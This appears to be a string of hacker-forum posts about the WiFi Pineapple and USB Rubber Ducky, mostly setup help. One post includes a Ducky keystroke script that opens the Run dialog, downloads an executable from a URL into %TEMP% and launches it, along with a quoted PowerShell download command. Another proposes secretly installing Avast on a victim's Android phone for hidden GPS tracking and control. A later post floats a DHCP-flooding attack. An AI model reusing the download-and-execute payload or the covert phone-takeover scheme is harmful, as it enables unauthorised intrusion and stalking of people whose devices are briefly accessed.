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  1. Alright guys, I'm just posting instructions in case anybody else is having trouble figuring out the UI...

    First of all, download Network Manager (you might need to ics from your computer at this point in order to get internet)
    Download to internal or external storage.

    Once Network manager is install, open it up and click "Auto-Detect" under the wireless tab...

    At this point, you should see your usb wifi dongle pop up.
    (note: if your device doesn't show up, you might want to try again or make sure your dongle is compatible with the pineapple. You might need to install your wifi driver from opkg)

    Once you see your devices below.... enter in the apropriate information for your wifi network... If your trying to connect to a network, be sure to set as "client" under wlan1. Be sure to leave radio0 wlan0 alone, your only working with radio1 wlan1 here.

    Enter your network info in appropriately.


    After you type in all your info... scroll to the top of the page and click "save"

    Once you save, click "Commit"
    (Note: If it loads longer than usual, just refresh the page. It should be done.)

    Once you click Commit, your screen should look like this at the top.


    Now click "DHCP Request"
    Your screen should look like this now:


    (again, refresh the page if it takes longer than usual)

    Now that you are connected to the internet, it's time to setup Internet connection Sharing.

    Click on the ICS tab.

    Change the settings to share internet from wlan1 to wlan0.
    (it should look like this)


    Click Save

    That's it! now your done. try to connect to the internet and it should work. :D

  2. Yeah, I've never thought about it, but I'm sure you could do it with count. But iOS have massive lockout times which steadily get longer, so I doubt people will have much luck... :-(

    My brother once forgot his password so many times he was locked out for 48 hours!


  3. I'm telling you that I just used a camera connector and plugged in my Teensy++ 2.0 into it. It worked perfectly. No need to bust out the DIY kits.

    Try it yourself, it's not as hard as you think...

    wait... so it worked??


    (send me a link to your camera connector) XD

  4. Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following:

    C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26.
    txt", "$env:temp\_shella.txt")}"
    Missing ')' in method call.
    At line:1 char:65
    + & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)}
    + CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : MissingEndParenthesisInMethodCall

    I can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?

    This is because when you go into run, they only allow a certain number of characters... You can fix this by just saying "enter" after you type power shell in...

    DELAY 2000
    GUI r
    DELAY 100
    STRING powershell
    STRING (new-object System.Net.WebClient).DownloadFile('Executable URL','%TEMP%\Local Filename'); Start-Process "%TEMP%\Local Filename"

  5. Haven't got my ducky yet, but have been looking for a good app to access a phone long after I use the ducky on it... Example reverse shell for PC.

    Been looking at android vnc servers such as "airdroid" and "my phone explorer", to download quickly with the ducky... but none seemed to satisfy.


    I discovered Avast mobile version... I know what your thinking, "that's a app that's suppose to help protect against hackers, how can we use it?"

    Well it turns out, if We use the ducky and download Avast really quickly on the android, we can set our own password and email access login ect.

    Avast was designed to protect against people stealing your phone and just removing avast from the phone, so we can essentially take full control over the phone with out reprehension. NOT ONLY THAT, THEY MAKE IT SO CONVENIENT AND QUICK TO DO... Easily accomplish-able within 30 seconds of ducky access.


    -GPS locating (originally designed to locate stolen phone)

    -Siran alarm (also another convenient security tool we can use to our advantage)

    -Lock phone

    -send message

    -notify if sd card is removed

    -backup files

    -Prevent people from uninstalling it without passcode

    -Hides program on phone

    -Can locks up ability to change settings


    Any thoughts...

    (I hope my description on what I'm trying to do here isn't that abstract... I'm a little tired at the moment and will update later.) :D

  6. I'm very interested in projects like these, but most of the conversation's are over at the Jasager forum.... I'm thinking there should be a collective forum category that displays all new content from every category of hak5 forums. Any thoughts? This would help boost new/old projects and save the inconvenience of switching between them all.

  7. You need to hit reboot afterwards, otherwise it won't work.

    I know I'm repeating a lot of what has been posted already,

    But having followed Darrens guide and setup my usb and swap space correctly I still cannot get the option to install sslstrip to usb.

    It is most probably something to do with my fstab but I can't see what. Any help is really appreciated :)

    You need to reboot the pineapple in order for it to work... Hit the reboot button from that page where you typed in the commands.

    *do it after you type in the command mkswap /dev/sda2

    also remember to uncheck the box "take ownership of filesystem" when you're partitioning your usb.

  8. Looking to internet connection share from my android strait to the pineapple... Looked at the Pineapple manual, but had no clear answers. :(

    Anyone have experience with this and can confirm working strait from android to Pineapple in regards to sharing internet?

    Thanks in advance :D

  9. I won't put up with nagging from users who could easily Google for the answer.

    My intentions were to find someone who had experience in doing this before... I didn't know if this was something worth pursuing or not.

    I'm under the impression that this will freeze up anyone's computer connected to your network by assigning hundreds of IP addresses to someone to connect through. (am I correct?)

    This could be something worth pursuing for the Pineapple. Any thoughts?

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